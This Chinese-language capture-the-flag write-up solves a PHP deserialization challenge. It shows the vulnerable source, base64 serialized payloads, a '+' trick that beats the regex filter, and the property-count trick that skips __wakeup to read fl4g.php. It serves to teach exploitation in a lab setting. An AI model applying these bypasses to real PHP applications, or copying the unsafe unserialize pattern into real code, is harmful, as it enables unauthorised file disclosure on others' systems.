题目源码:
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
在Demo函数里又看见了wakeup函数,应该会涉及到反序列化
看到下面的if判断语句,他先判断了,是否有var这个参数,如果有就将他base64解码,然后将解码后的值做正则匹配
正则匹配条件分析:/[oc]:\d+:/i
oc:代表这块区域用来匹配o或者c
\d:代表一个数字字符
+:代表可以匹配多次
/i:匹配时不区分大小写
总结下来他匹配的对象大概张这样:
o:4: (两个冒号之间为数字,第一个冒号前面为o或者c的大小写)
这里看判断条件,一旦正则匹配上了,程序就会停止,所以我们只能走下面的那个else条件,else中给了一个unserialize(),这个就是反序列化的操作,他的反向操作是serialize()
上面那个wakeup()函数在调用反序列化的操作时会首先执行,他的执行条件是判断file参数值是否为index.php,如果不是则换成他,并且他在里面提示了fl4g.php文件,那我们的目的应该就是访问这个fl4g文件,可是我们的文件名一旦不为index时,便会强制替换为index,所以分析到这里就知道,应该去使用上次我们利用的那个绕过wakeup函数的方法。
在本地搭建环境
将Demo函数复制过来
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$a = new Demo('1.php');
$b = serialize($a);
echo "</br>";
print_r($b);
?>
运行结果:
O:4:"Demo":1:{s:10:"Demofile";s:5:"1.php";} <?php
echo "这是1.php文件";
?>
可以看到结果中已经将1.php文件的代码高亮显示。
其中O:4:"Demo":1:{s:10:"Demofile";s:5:"1.php";}
这个是对象a序列化后的结果,后面的1.php就是我们要访问的内容。
ps:这里可以发现wakeup中的内容并没有执行,这是因为这个wakeup只有在调用unserialize函数时才会执行,
__construct($file):这个函数会在构造函数时读入一个值做参数
__destruct():这个函数会在程序销毁时执行(有点像C++中的析构函数)
这里我卡了很久,无论我怎么改,都没办法修改这个对象的属性值,后来发现不是无法修改,而是他没执行构造函数,所以导致这个文件名并没有读入,然后我就去研究为什么这个构造函数没有执行。
这里算是踩了个坑啊,回头检查可以发现,10后面对应的那个值:Demofile,这里明明只有8个字符,何来10个字符?(这是php执行给的结果,所以这肯定不会是错的)
查阅资料后知道,private属性被序列化的时候属性值会变成\x00类名\x00属性名,其中:\x00表示空字符,但是还是占用一个字符位置,这就是为什么上面serialize($a)执行后的序列化字符串中属性file变成Demofile,长度为10。
修改代码,证明结论:
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
echo "构造函数执行!!";
}
function __destruct() {
echo @highlight_file($this->file, true);
echo "析构函数执行!!";
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
//$this->file = 'index.php';
}
}
}
$a = new Demo('1.php');
$b = base64_encode(serialize($a));
echo "</br>";
print_r($b);
echo "</br>";
$c = 'O:4:"Demo":1:{s:10:"Demofile";s:5:"1.php";}';//将序列化后的值直接复制过来
print_r(base64_encode($c));
//@unserialize($c);
?>
结果:
构造函数执行!!
Tzo0OiJEZW1vIjoxOntzOjEwOiIARGVtbwBmaWxlIjtzOjU6IjEucGhwIjt9
Tzo0OiJEZW1vIjoxOntzOjEwOiJEZW1vZmlsZSI7czo1OiIxLnBocCI7fQ== <?php
echo "这是1.php文件";
?> 析构函数执行!!
可以明显的看到,两次的base64编码有差异,可以证明浏览器将这个\x00给干掉了,这一点,不细细观察真的感觉不出来。
那这一题就不能简单复制粘贴了,需要用到16进制编辑器将浏览器给过滤掉的东西补回去。
这里burpsuite可以很方便的实现,所以直接上工具!
将内容复制进decoder模块,然后点击hex,转为16进制,我们需要在少内容的地方将那两个空字符补上,根据\x00类名\x00属性名,可以知道,我们应该在D的前面和f的前面添加上这两个空字符。
这里的44代表D,66代表f
添加完后将其base64编码,不然浏览器又会把他干掉了,再次修改代码,测试能否执行:
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
echo "构造函数执行!!";
}
function __destruct() {
echo @highlight_file($this->file, true);
echo "析构函数执行!!";
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
//$this->file = 'index.php'; //先注释掉这块,主要测试构造函数
}
}
}
$c = 'Tzo0OiJEZW1vIjoxOntzOjEwOiIARGVtbwBmaWxlIjtzOjU6IjEucGhwIjt9';
//print_r(base64_encode($c));
$d = base64_decode($c);
@unserialize($d);
?>
运行结果:
<?php
echo "这是1.php文件";
?> 析构函数执行!!
看到效果了,执行成功了,但是可以观察到的是,构造函数依旧没有执行,这说明在反序列化的过程中,并没有涉及到这一步。
知道了这么多东西,就可以回来看题目了,但题目中还有一个条件是,参数中不能包含数字,由于序列化后的字符串是包含数字的,所以这又该怎么过?
这里绕过数字,其实质也是绕过preg_match()函数,那这就又需要上网搜集知识点了
其中+号可以实现绕过(+号代表空格)
其他的可能绕过的方法:
-
true可以代替数字1
PHP中true为弱类型,true+true的值为2
-
异或法可以替代一些内容
str = r"~!@#$%^&*()_+<>?,.;:-[]{}/" for i in range(0, len(str)): for j in range(0, len(str)): a = ord(str[i])^ord(str[j]) print(str[i] + ' ^ ' + str[j] + ' is ' + chr(a))
这里肯定是选最简单的加号绕过
中间那个2就不重复解释了,wakeup的漏洞,编码后提交即可得到flag!
终于做完了@_@